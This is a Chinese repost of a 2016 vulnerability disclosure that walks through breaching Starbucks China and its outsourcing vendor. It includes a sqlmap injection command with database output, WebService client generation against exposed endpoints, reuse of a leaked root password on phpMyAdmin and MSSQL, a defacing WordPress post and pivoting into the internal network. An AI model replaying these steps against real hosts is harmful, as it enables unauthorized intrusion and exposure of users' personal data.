实战 | 猪猪侠以前的星巴克漏洞挖掘文章
2023-3-30 14:6:27 Author: www.secpulse.com(查看原文) 阅读量:53 收藏

来源:http://wooyun.2xss.cc/bug_detail.php?wybug_id=wooyun-2016-0208769

这是一篇2016年的乌云漏洞报告,带大家感受一下2016年的猪哥就这么强了

现在回看这篇文章,依旧能感受到猪哥的力量!

如有侵权,请私信删除

简要描述:

星巴克中国用户敏感信息遍历漏洞 (从不可能利用到可能)
本报告通过多个漏洞的组合,进而突破限制,遍历任意用户信息。
信息包含用户的:用户名、邮箱、密码、家庭地址、手机号等等(PS:密码是明文的)
太标准的东西,墨守成规的东西,往往都容易被预测

详细说明:

#1 漏洞的起因
2014年报告了一个星巴克备份文件下载的漏洞,其中包含几项重要的信息
WooYun: 星巴克官网备份可下载导致敏感信息泄露(含操作系统Administrator密码)
两个部署在内网的WebService:

http://172.16.1.32:8002/StarbucksGCService.svc // 星巴克官网后台
http://172.16.1.32:8888/Service1.svc // 星巴克处理用户信息的接口


#2 漏洞发现
一直没空关注星巴克的系统,前天去买星冰粽,服务员叫我扫会员卡,手机APP提示我的二维码过期,也就是星巴克的系统进行了一次重大更新,就顺便看了一下;
新的服务器架构从 .NET 切换至 PHP,但是服务器却增多了
通过扫描 www.starbucks.com.cn 180.153.48.188 网段开放的WEB服务,一个默认页面的信息引起了我的注意。

http://180.153.48.178:803/

这不就是上面提到的Service1.svc么?深入研究分析,得知这是一个.NET的WebService,里面存在几个关键方法

public string GetCustomer(long CustomerId, out MSR.Model.MSR_Customer oCustomer) 
   {      
      GetCustomerRequest inValue = new GetCustomerRequest();        
      inValue.CustomerId = CustomerId;        
      GetCustomerResponse retVal = ((IService1)(this)).GetCustomer(inValue);        
      oCustomer = retVal.oCustomer;        
      return retVal.GetCustomerResult;    
   }

根据客户的ID,获取完整的****,返回的用户信息如下

#3 WebService利用
可以直接用Visual Studio生成对应的 .NET cs 文件

svcutil.exe http://180.153.48.178:803/Service1.svc?wsdl

#4 利用,直接获取customerID 为 2 的用户信息(这里只是测试环境的数据,后面会介绍如何找到真实环境)

#5 进一步挖掘
通过访问https://180.153.48.178的页面内容,发现这是今年3月份之前的网站版本

其中有两处地方泄露了另外的WebService
https://180.153.48.178/js/hasjs.js

var domainMSRURL = 'https://staging.rewards.flipscript.com.cn/'; 
var domainSVCURL = "http://218.80.216.34:8010/"; 
var domianWebURL = "http://218.80.216.34:8012/"; 
//domainMSRURL = "http://localhost:49960/MSR/";

https://180.153.48.178/interface/MSR.ashx

// JavaScript Document 
var domainMSRURL = 'http://218.80.216.34:805/'; 
var domainSVCURL = "http://218.80.216.34:8010/"; 
var domianWebURL = "http://218.80.216.34:8012/"; 
//domainMSRURL = "http://localhost:49960/MSR/"; document.write('

#6 这个服务器上的某个.svc怎么那么眼熟呢?不就是开始提到的StarbucksGCService.svc吗?
至此,两个关键的WebService都找到了,还有星巴克的后台

Service1.svc 有个 GetAdminList的方法,你懂的,查询出所有后台管理员的信息

public string GetAdminList(int nPageSize, int nPageIndex, out MSR.Model.MSR_Admin[] oAdminList, out int nCount)    {        GetAdminListRequest inValue = new GetAdminListRequest();        inValue.nPageSize = nPageSize;        inValue.nPageIndex = nPageIndex;        GetAdminListResponse retVal = ((IService1)(this)).GetAdminList(inValue);        oAdminList = retVal.oAdminList;        nCount = retVal.nCount;        return retVal.GetAdminListResult;    }

漏洞证明:

#7 以战养战,信息组合

整理一下发型,梳理一下所有信息,得到关键的因素
上面所有的信息, 都属于测试环境的,那么接下来就需要突破到真实环境了;
关键信息点:
从https://180.153.48.178的SSL证书,得知星巴克的系统是外包给flipscript公司开发的,
flipscript公司被DeepFocus公司收购了;

#8 从flipscript & DeepFocus下手
开启神器,发现http://cn.deepfocus.net一枚注入漏洞

python sqlmap.py -u "https://cn.deepfocus.net/tasoap/tasoap.php?key=Fly&id=1" -p key --dbs
available databases [20]:                                                                      
[*] bugtracker
[*] channelx
[*] deepfocus
[*] dftest
[*] dnsw
[*] fair
[*] ftpusers
[*] information_schema
[*] mac
[*] mmj
[*] mysql
[*] ra
[*] TADB
[*] test
[*] torres
[*] wordpress
[*] wx
[*] yioulai
[*] yioulaisz
[*] YOLDB

mysql是root权限,那就直接root服务器吧, ssh 登录


这台服务器里面有个bug.flipscript.net的Mantis管理工具,刚好证明了和星巴克有关联


发现了一处关键信息

/** WordPress数据库的名称 */
define('DB_NAME', 'wordpress');
/** MySQL数据库用户名 */
define('DB_USER', 'root');
/** MySQL数据库密码 *
/define('DB_PASSWORD', '*****@05****');
/** MySQL主机 *
/define('DB_HOST', 'localhost');

#9 峰回路转
整理好这些东西,咱们来到www.flipscript.com.cn,配置好神器,字典一挂,扫除了mssql对外开放,SA密码为:MYSQL数据库一样的密码;


#10 有了这些信息之后,就能重新以新的角度来审视星巴克中国了

开启神器,发现一个phpmyadmin,用那个从DeepFocus得到的ROOT密码,直接root权限进入

http://cn.chinatimeline.starbucks.com.cn/phpmyadmin/


这里又刚好还有一个WordPress: http://chinatimeline.starbucks.com.cn/ ,整点东西证明我来过。
http://chinatimeline.starbucks.com.cn/?p=1


#11 通向内网的通行证


/etc/hosts

127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
::1         localhost localhost.localdomain localhost6 localhost6.localdomain6
172.18.0.187    ntp02.sbuxcf.com ntp02

/etc/rc.local

#!/bin/sh
#
# This script will be executed *after* all the other init scripts.
# You can put your own initialization stuff in here if you don't
# want to do the full Sys V style init stuff.
touch /var/lock/subsys/local
sh /home/stadmin/ddnsupdate.sh

/etc/sysconfig/network-scripts/ifcfg-eth0

image.png

两个部署在内网的WebService,就在这个内网里面,不可能成为了可能

http://172.16.1.32:8002/StarbucksGCService.svc // 星巴克官网后台
http://172.16.1.32:8888/Service1.svc // 星巴克处理用户信息的接口

svcutil.exe http://172.16.1.32:8888/Service1.svc?wsdl

image.png

image.png

修复方案:

#1 安全是一个整体,保证安全不在于强大的地方有多强大,而在于真正薄弱的地方在哪里
#2 一个一个的漏洞来补丁
#3 太标准的东西,都容易被预测

本文作者:HACK_Learn

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/198427.html


文章来源: https://www.secpulse.com/archives/198427.html
如有侵权请联系:admin#unsafe.sh